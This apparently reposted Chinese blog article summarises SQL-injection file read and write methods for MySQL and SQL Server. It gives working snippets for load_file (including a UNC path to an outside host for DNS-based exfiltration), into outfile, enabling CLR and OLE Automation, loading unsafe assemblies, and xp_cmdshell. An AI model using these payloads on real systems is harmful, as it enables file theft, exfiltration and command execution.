关于SQL注入中文件读写的方法总结
<p><span><strong>前言</strong></span></p>
<p>
SQL注入有直接sql注入也有文件读写时的注入了我们这篇文章介绍的是SQL注入中的文件读写这一块的内容，具体的一起来看看。</p>
<p>
<span><strong>一、MySQL</strong></span></p>
<p>
<strong>读文件</strong></p>
<p>
常见的读文件，可以用16进制代替字符串</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_290167">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
<div class="line number3 index2 alt2">
3</div>
<div class="line number4 index3 alt1">
4</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">select</code> <code class="sql plain">load_file(</code><code class="sql string">'c:/boot.ini'</code><code class="sql plain">)</code>
</div>
<div class="line number2 index1 alt1">
<code class="sql keyword">select</code> <code class="sql plain">load_file(0x633a2f626f6f742e696e69)</code>
</div>
<div class="line number3 index2 alt2">
<code class="sql keyword">select</code> <code class="sql plain">load_file(</code><code class="sql string">'//ecma.io/1.txt'</code><code class="sql plain">) # smb协议</code>
</div>
<div class="line number4 index3 alt1">
<code class="sql keyword">select</code> <code class="sql plain">load_file(</code><code class="sql string">'\\\\ecma.io\\1.txt'</code><code class="sql plain">) # 可用于DNS隧道</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<strong>写文件</strong></p>
<p>
我暂时已知l两种写文件的方式</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_775514">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">select</code> <code class="sql plain">0x313233 </code><code class="sql keyword">into</code> <code class="sql plain">outfile </code><code class="sql string">'D:/1.txt'</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_942503">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">select</code> <code class="sql plain">0x313233 </code><code class="sql keyword">into</code> <code class="sql plain">dumpfile </code><code class="sql string">'D:/1.txt'</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<span><strong>二、 SQL Server</strong></span></p>
<p>
<span><strong>读文件</strong></span></p>
<p>
<strong>1. BULK INSERT</strong></p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_675742">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">create</code> <code class="sql keyword">table</code> <code class="sql plain">result(res </code><code class="sql keyword">varchar</code><code class="sql plain">(8000));</code>
</div>
<div class="line number2 index1 alt1">
<code class="sql plain">bulk </code><code class="sql keyword">insert</code> <code class="sql plain">result </code><code class="sql keyword">from</code> <code class="sql string">'d:/1.txt'</code><code class="sql plain">;</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<strong>2. CLR集成</strong></p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_572183">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
<div class="line number3 index2 alt2">
3</div>
<div class="line number4 index3 alt1">
4</div>
<div class="line number5 index4 alt2">
5</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql plain">// 开启CLR集成</code>
</div>
<div class="line number2 index1 alt1">
<code class="sql keyword">exec</code> <code class="sql plain">sp_configure </code><code class="sql string">'show advanced options'</code><code class="sql plain">,1;</code>
</div>
<div class="line number3 index2 alt2">
<code class="sql plain">reconfigure;</code>
</div>
<div class="line number4 index3 alt1">
<code class="sql keyword">exec</code> <code class="sql plain">sp_configure </code><code class="sql string">'clr enabled'</code><code class="sql plain">,1</code>
</div>
<div class="line number5 index4 alt2">
<code class="sql plain">reconfigure</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_665231">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">create</code> <code class="sql plain">assembly sqb </code><code class="sql keyword">from</code> <code class="sql string">'d:\1.exe'</code> <code class="sql keyword">with</code> <code class="sql plain">permission_set=unsafe</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
上面一句可以利用create assembly函数从远程服务器加载任何.NET二进制文件到数据库中;但是他会验证是否为合法.NET程序，导致失败，下面是读取方式</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_969254">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">select</code> <code class="sql plain">master.dbo.fn_varbintohexstr(</code><code class="sql color2">cast</code><code class="sql plain">(content </code><code class="sql keyword">as</code> <code class="sql plain">varbinary)) </code><code class="sql keyword">from</code> <code class="sql plain">sys.assembly_files</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
绕过，首先加载一个有效的.NET的二进制文件，然后追加文件即可，下面是绕过方法。</p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_390973">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
<div class="line number3 index2 alt2">
3</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">create</code> <code class="sql plain">assembly sqb </code><code class="sql keyword">from</code> <code class="sql string">'d:\net.exe'</code><code class="sql plain">;</code>
</div>
<div class="line number2 index1 alt1">
<code class="sql keyword">alter</code> <code class="sql plain">assembly sqb </code><code class="sql keyword">add</code> <code class="sql plain">file </code><code class="sql keyword">from</code> <code class="sql string">'d:\1.txt'</code>
</div>
<div class="line number3 index2 alt2">
<code class="sql keyword">alter</code> <code class="sql plain">assembly sqb </code><code class="sql keyword">add</code> <code class="sql plain">file </code><code class="sql keyword">from</code> <code class="sql string">'d:\notnet.exe'</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<strong>3. Script.FileSystemObject</strong></p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_95813">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
<div class="line number3 index2 alt2">
3</div>
<div class="line number4 index3 alt1">
4</div>
<div class="line number5 index4 alt2">
5</div>
<div class="line number6 index5 alt1">
6</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql plain"># 开启Ole Automation Procedures</code>
</div>
<div class="line number2 index1 alt1">
<code class="sql spaces"> </code>
</div>
<div class="line number3 index2 alt2">
<code class="sql plain">sp_configure </code><code class="sql string">'show advanced options'</code><code class="sql plain">,1;</code>
</div>
<div class="line number4 index3 alt1">
<code class="sql plain">RECONFIGURE;</code>
</div>
<div class="line number5 index4 alt2">
<code class="sql plain">sp_configure </code><code class="sql string">'Ole Automation Procedures'</code><code class="sql plain">,1;</code>
</div>
<div class="line number6 index5 alt1">
<code class="sql plain">RECONFIGURE;</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_145750">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
<div class="line number3 index2 alt2">
3</div>
<div class="line number4 index3 alt1">
4</div>
<div class="line number5 index4 alt2">
5</div>
<div class="line number6 index5 alt1">
6</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">declare</code> <code class="sql plain">@o </code><code class="sql keyword">int</code><code class="sql plain">, @f </code><code class="sql keyword">int</code><code class="sql plain">, @t </code><code class="sql keyword">int</code><code class="sql plain">, @ret </code><code class="sql keyword">int</code>
</div>
<div class="line number2 index1 alt1">
<code class="sql keyword">declare</code> <code class="sql plain">@line </code><code class="sql keyword">varchar</code><code class="sql plain">(8000)</code>
</div>
<div class="line number3 index2 alt2">
<code class="sql keyword">exec</code> <code class="sql plain">sp_oacreate </code><code class="sql string">'scripting.filesystemobject'</code><code class="sql plain">,@o </code><code class="sql keyword">out</code>
</div>
<div class="line number4 index3 alt1">
<code class="sql keyword">exec</code> <code class="sql plain">sp_oamethod @o, </code><code class="sql string">'opentextfile'</code><code class="sql plain">, @f </code><code class="sql keyword">out</code><code class="sql plain">, </code><code class="sql string">'d:\1.txt'</code><code class="sql plain">, 1</code>
</div>
<div class="line number5 index4 alt2">
<code class="sql keyword">exec</code> <code class="sql plain">@ret = sp_onmethod @f, </code><code class="sql string">'readline'</code><code class="sql plain">, @line </code><code class="sql keyword">out</code>
</div>
<div class="line number6 index5 alt1">
<code class="sql plain">while(@ret = 0) </code><code class="sql keyword">begin</code> <code class="sql plain">print @line </code><code class="sql keyword">exec</code> <code class="sql plain">@ret = sp_oamethod @f, </code><code class="sql string">'readline'</code><code class="sql plain">, @line </code><code class="sql keyword">out</code> <code class="sql keyword">end</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<span><strong>写文件</strong></span></p>
<p>
<strong>1. Script.FileSystemObject</strong></p>
<div class="jb51code">
<div>
<div class="syntaxhighlightersql" id="highlighter_213165">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
<div class="line number3 index2 alt2">
3</div>
<div class="line number4 index3 alt1">
4</div>
<div class="line number5 index4 alt2">
5</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="sql keyword">declare</code> <code class="sql plain">@o </code><code class="sql keyword">int</code><code class="sql plain">, @f </code><code class="sql keyword">int</code><code class="sql plain">, @t </code><code class="sql keyword">int</code><code class="sql plain">, @ret </code><code class="sql keyword">int</code>
</div>
<div class="line number2 index1 alt1">
<code class="sql keyword">declare</code> <code class="sql plain">@line </code><code class="sql keyword">varchar</code><code class="sql plain">(8000)</code>
</div>
<div class="line number3 index2 alt2">
<code class="sql keyword">exec</code> <code class="sql plain">sp_oacreate </code><code class="sql string">'scripting.filesystemobject'</code><code class="sql plain">,@o </code><code class="sql keyword">out</code>
</div>
<div class="line number4 index3 alt1">
<code class="sql keyword">exec</code> <code class="sql plain">sp_oamethod @o, </code><code class="sql string">'createtextfile'</code><code class="sql plain">, @f </code><code class="sql keyword">out</code><code class="sql plain">, </code><code class="sql string">'e:\1.txt'</code><code class="sql plain">, 1</code>
</div>
<div class="line number5 index4 alt2">
<code class="sql keyword">exec</code> <code class="sql plain">@ret = sp_oamethod @f, </code><code class="sql string">'writeline'</code><code class="sql plain">, </code><code class="sql color1">NULL</code> <code class="sql plain">,</code><code class="sql string">'This is the test string'</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<strong>2. BCP复制文件（测试失败，无bcp.exe）</strong></p>
<div class="jb51code">
<div>
<div class="syntaxhighlighterplain" id="highlighter_594474">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="plain plain">c:\windows>system32>bcp "select name from sysobjects" query testout.txt -c -s 127.0.0.1 -U sa -p"sa"</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<strong>3. xp_cmdshell</strong></p>
<div class="jb51code">
<div>
<div class="syntaxhighlighterplain" id="highlighter_397488">
<div class="toolbar">
<span>?</span>
</div>
<table border="0" cellpadding="0" cellspacing="0"><tbody><tr>
<td class="gutter">
<div class="line number1 index0 alt2">
1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2">
<code class="plain plain">exec xp_cmdshell 'echo test>d:\1.txt'</code>
</div>
</div>
</td>
</tr></tbody></table>
</div>
</div>
<div class="codetool" id="codetool">
<div class="code_n">
<textarea></textarea>
</div>
</div>
</div>
<p>
<span><strong>三、Oracle</strong></span></p>
<p>
pass，Oracle太坑了~~~几乎都受到PL/SQL的限制，暂时不讨论</p>
<p>
<span><strong>总结</strong></span></p>
<p>
以上就是关于SQL注入中文件的读写方法总结，希望本文的内容对大家的学习或者工作能带来一定的帮助，如果有疑问大家可以留言交流。</p>
<p>
原文链接：http://ecma.io/?p=392</p>
頁:
[1]